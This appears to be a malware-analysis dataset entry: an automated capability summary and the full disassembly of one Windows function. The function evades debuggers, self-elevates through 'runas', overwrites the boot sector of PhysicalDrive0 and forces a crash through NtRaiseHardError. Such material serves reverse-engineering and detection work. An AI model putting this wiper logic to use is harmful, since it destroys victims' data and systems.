Function at 0x140001650
Capabilities:
Check for debugger via api
Create process on windows
Get token membership
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x218]
sub rsp, 0x310
xor ecx, ecx
call fcn.140008e3c
mov ecx, eax
call fcn.140008bd8
xor r14d, r14d
mov dword [rsp + 0x60], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0x60], r14d
jne 0x1400017a4
lea rax, [rbp - 0x80]
mov dword [rsp + 0x60], r14d
mov qword [rsp + 0x50], rax
lea r8d, [r14 + 0x20]
mov dword [rsp + 0x48], r14d
lea rcx, [rsp + 0x64]
mov dword [rsp + 0x40], r14d
mov r9d, 0x220
mov dword [rsp + 0x38], r14d
mov dl, 2
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov qword [rbp - 0x80], r14
mov dword [rsp + 0x64], r14d
mov word [rsp + 0x68], 0x500
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001719
mov rdx, qword [rbp - 0x80]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
cmp dword [rsp + 0x60], r14d
jne 0x1400017c3
call fcn.140001510
mov r8d, 0x104
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
mov dword [rbp - 0x70], 0x70
lea rcx, [rbp - 0x6c]
lea r8d, [rdx + 0x6c]
call fcn.140012ae0
lea rax, str.runas
mov dword [rbp - 0x40], 1
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x70]
lea rax, [rbp]
mov qword [rbp - 0x58], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x1400017a4
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.fail.
call qword [sym.imp.USER32.dll_MessageBoxW]
lea r11, [rsp + 0x310]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov ecx, 8
call fcn.140002ec4
lea rcx, [0x1400011d4]
mov r9, rax
lea r8, [0x140001c78]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call fcn.140008d28
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140001945
cmp dword [rsp + 0x78], r14d
je 0x140001955
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rsp + 0x78], eax
je 0x140001960
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp - 0x80]
xor edx, edx
movdqa xmmword [rbp - 0x80], xmm0
call fcn.140002bc8
test eax, eax
jne 0x140001934
xorps xmm0, xmm0
mov qword [rsp + 0x30], r14
lea r8d, [rax + 3]
mov dword [rsp + 0x28], r14d
xor r9d, r9d
movdqa xmmword [rsp + 0x70], xmm0
mov edx, 0x40000000
mov dword [rsp + 0x20], r8d
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400018ae
mov edi, 0x200
lea rcx, [rbp]
mov r8d, edi
xor edx, edx
call fcn.140012ae0
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], r14
mov r8d, edi
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtRaiseHardError
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rsi, rsi
je 0x14000191f
test rax, rax
je 0x14000191f
xor r8d, r8d
lea r9, [rsp + 0x6c]
mov dl, 1
lea ecx, [r8 + 0x13]
call rsi
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000420
call rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [rsp + 0x78], r14d
jne 0x14000193f
jmp 0x1400017a4
mov ecx, 2
call fcn.140002720
int3
call fcn.140008e10
int3
mov ecx, 6
mov dword [rsp + 0x78], r14d
call fcn.140002720
int3
mov ecx, 1
call fcn.140002720
int3
mov ecx, 5
call fcn.140002720
int3